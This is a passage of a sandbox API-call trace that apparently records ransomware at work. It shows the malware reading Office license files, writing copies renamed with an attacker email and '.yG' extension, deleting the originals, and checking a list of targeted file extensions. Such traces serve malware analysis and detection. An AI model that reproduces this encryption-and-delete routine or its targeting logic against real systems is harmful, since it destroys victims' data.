	[0163.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0163.955] GetLastError () returned 0x0
	[0163.955] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x559d, lpOverlapped=0x0) returned 1
	[0163.962] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0163.964] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.964] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x118, lpOverlapped=0x0) returned 1
	[0163.964] SetEndOfFile (hFile=0x51c) returned 1
	[0163.964] CloseHandle (hObject=0x51c) returned 1
	[0163.965] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.965] SetEndOfFile (hFile=0x38c) returned 1
	[0163.969] CloseHandle (hObject=0x38c) returned 1
	[0163.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1
	[0163.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0163.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0163.972] lstrlenW (lpString=".doc") returned 4
	[0163.972] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.972] lstrlenW (lpString=".docx") returned 5
	[0163.972] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.972] lstrlenW (lpString=".pdf") returned 4
	[0163.972] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.972] lstrlenW (lpString=".xls") returned 4
	[0163.972] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.972] lstrlenW (lpString=".xlsx") returned 5
	[0163.972] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.972] lstrlenW (lpString=".ppt") returned 4
	[0163.972] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0163.972] lstrlenW (lpString=".zip") returned 4
	[0163.972] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.972] lstrlenW (lpString=".rar") returned 4
	[0163.972] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.972] lstrlenW (lpString=".bz2") returned 4
	[0163.972] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.973] lstrlenW (lpString=".7z") returned 3
	[0163.973] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0163.973] lstrlenW (lpString=".dbf") returned 4
	[0163.973] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0163.973] lstrlenW (lpString=".1cd") returned 4
	[0163.973] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0163.973] lstrlenW (lpString=".jpg") returned 4
	[0163.973] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.974] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=10679) returned 1
	[0163.974] CloseHandle (hObject=0x38c) returned 1
	[0163.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220
	[0163.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.975] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.976] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0163.987] GetLastError () returned 0x0
	[0163.987] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x29b7, lpOverlapped=0x0) returned 1
	[0164.001] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x29c0, lpOverlapped=0x0) returned 1
	[0164.002] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.003] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0164.003] SetEndOfFile (hFile=0x51c) returned 1
	[0164.003] CloseHandle (hObject=0x51c) returned 1
	[0164.003] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.003] SetEndOfFile (hFile=0x38c) returned 1
	[0164.007] CloseHandle (hObject=0x38c) returned 1
	[0164.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1
	[0164.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0164.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0164.014] lstrlenW (lpString=".doc") returned 4
	[0164.014] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.014] lstrlenW (lpString=".docx") returned 5
	[0164.014] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.014] lstrlenW (lpString=".pdf") returned 4
	[0164.015] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.015] lstrlenW (lpString=".xls") returned 4
	[0164.015] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.015] lstrlenW (lpString=".xlsx") returned 5
	[0164.015] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.015] lstrlenW (lpString=".ppt") returned 4
	[0164.015] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0164.015] lstrlenW (lpString=".zip") returned 4
	[0164.015] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.015] lstrlenW (lpString=".rar") returned 4
	[0164.015] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.015] lstrlenW (lpString=".bz2") returned 4
	[0164.015] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.015] lstrlenW (lpString=".7z") returned 3
	[0164.015] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0164.015] lstrlenW (lpString=".dbf") returned 4
	[0164.015] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0164.015] lstrlenW (lpString=".1cd") returned 4
	[0164.015] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0164.015] lstrlenW (lpString=".jpg") returned 4
	[0164.015] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.017] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11637) returned 1
	[0164.018] CloseHandle (hObject=0x38c) returned 1
	[0164.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0164.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0164.033] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.033] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0164.034] GetLastError () returned 0x0
	[0164.034] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d75, lpOverlapped=0x0) returned 1
	[0164.037] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0164.038] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.038] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x124, lpOverlapped=0x0) returned 1
	[0164.038] SetEndOfFile (hFile=0x51c) returned 1
	[0164.038] CloseHandle (hObject=0x51c) returned 1
	[0164.039] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.039] SetEndOfFile (hFile=0x38c) returned 1
	[0164.043] CloseHandle (hObject=0x38c) returned 1
	[0164.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0164.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0164.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0164.045] lstrlenW (lpString=".doc") returned 4
	[0164.045] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.045] lstrlenW (lpString=".docx") returned 5
	[0164.045] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.045] lstrlenW (lpString=".pdf") returned 4
	[0164.045] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.045] lstrlenW (lpString=".xls") returned 4
	[0164.046] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.046] lstrlenW (lpString=".xlsx") returned 5
	[0164.046] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.046] lstrlenW (lpString=".ppt") returned 4
	[0164.046] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0164.046] lstrlenW (lpString=".zip") returned 4
	[0164.046] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.046] lstrlenW (lpString=".rar") returned 4
	[0164.046] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.046] lstrlenW (lpString=".bz2") returned 4
	[0164.046] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.046] lstrlenW (lpString=".7z") returned 3
	[0164.046] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0164.046] lstrlenW (lpString=".dbf") returned 4
	[0164.046] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0164.046] lstrlenW (lpString=".1cd") returned 4
	[0164.046] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0164.046] lstrlenW (lpString=".jpg") returned 4
	[0164.046] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.047] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=22033) returned 1
	[0164.047] CloseHandle (hObject=0x38c) returned 1
	[0164.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220
	[0164.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0164.048] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.048] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0164.049] GetLastError () returned 0x0
	[0164.049] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5611, lpOverlapped=0x0) returned 1
	[0164.067] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5620, lpOverlapped=0x0) returned 1
	[0164.069] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.069] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x110, lpOverlapped=0x0) returned 1
	[0164.069] SetEndOfFile (hFile=0x51c) returned 1
	[0164.069] CloseHandle (hObject=0x51c) returned 1
	[0164.069] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.069] SetEndOfFile (hFile=0x38c) returned 1
	[0164.073] CloseHandle (hObject=0x38c) returned 1
	[0164.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1
	[0164.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0164.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0164.075] lstrlenW (lpString=".doc") returned 4
	[0164.075] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.075] lstrlenW (lpString=".docx") returned 5
	[0164.075] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.075] lstrlenW (lpString=".pdf") returned 4
	[0164.075] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.075] lstrlenW (lpString=".xls") returned 4
	[0164.075] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.076] lstrlenW (lpString=".xlsx") returned 5
	[0164.076] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.076] lstrlenW (lpString=".ppt") returned 4
	[0164.076] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0164.076] lstrlenW (lpString=".zip") returned 4
	[0164.076] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.076] lstrlenW (lpString=".rar") returned 4
	[0164.076] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.076] lstrlenW (lpString=".bz2") returned 4
	[0164.076] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.076] lstrlenW (lpString=".7z") returned 3
	[0164.076] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0164.076] lstrlenW (lpString=".dbf") returned 4
	[0164.076] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0164.076] lstrlenW (lpString=".1cd") returned 4
	[0164.076] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0164.076] lstrlenW (lpString=".jpg") returned 4
	[0164.077] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.077] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11624) returned 1
	[0164.077] CloseHandle (hObject=0x38c) returned 1
	[0164.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0164.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0164.079] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.079] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0164.083] GetLastError () returned 0x0
	[0164.083] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0164.086] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
